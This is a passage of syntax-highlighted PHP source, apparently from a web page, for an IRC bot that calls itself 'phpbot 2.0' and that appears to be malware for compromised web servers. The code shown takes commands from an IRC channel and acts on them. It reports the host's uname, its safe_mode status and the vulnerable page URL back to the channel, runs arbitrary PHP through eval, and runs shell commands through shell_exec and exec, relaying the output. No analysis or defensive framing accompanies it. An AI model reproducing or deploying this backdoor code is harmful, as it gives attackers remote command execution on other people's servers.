&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span>4 <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/is_numeric"><span style="color: #990000;">is_numeric</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/is_numeric"><span style="color: #990000;">is_numeric</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/is_numeric"><span style="color: #990000;">is_numeric</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/is_numeric"><span style="color: #990000;">is_numeric</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>dns<span style="color: #660099; font-weight: bold;">\2</span>]: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; =&gt; &quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/gethostbyaddr"><span style="color: #990000;">gethostbyaddr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>dns<span style="color: #660099; font-weight: bold;">\2</span>]: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; =&gt; &quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/gethostbyname"><span style="color: #990000;">gethostbyname</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;info&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;vunl&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;on&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$safemode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;on&quot;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$safemode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;off&quot;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$uname</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/php_uname"><span style="color: #990000;">php_uname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>info<span style="color: #660099; font-weight: bold;">\2</span>]: <span style="color: #006699; font-weight: bold;">$uname</span> (safe: <span style="color: #006699; font-weight: bold;">$safemode</span>)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>vuln<span style="color: #660099; font-weight: bold;">\2</span>]: http://&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SERVER_NAME'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REQUEST_URI'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;bot&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>bot<span style="color: #660099; font-weight: bold;">\2</span>]: phpbot 2.0 by; #crew@corp.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;uname&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;on&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$safemode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;on&quot;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$safemode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;off&quot;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$uname</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/php_uname"><span style="color: #990000;">php_uname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>info<span style="color: #660099; font-weight: bold;">\2</span>]: <span style="color: #006699; font-weight: bold;">$uname</span> (safe: <span style="color: #006699; font-weight: bold;">$safemode</span>)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;rndnick&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_nick</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;raw&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;eval&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$eval</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/eval"><span style="color: #990000;">eval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;sexec&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$exec</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/shell_exec"><span style="color: #990000;">shell_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$ret</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$exec</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">!=</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; &nbsp; &nbsp; &nbsp;: &quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;exec&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$exec</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/exec"><span style="color: #990000;">exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$ret</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$exec</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">!=</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <br />
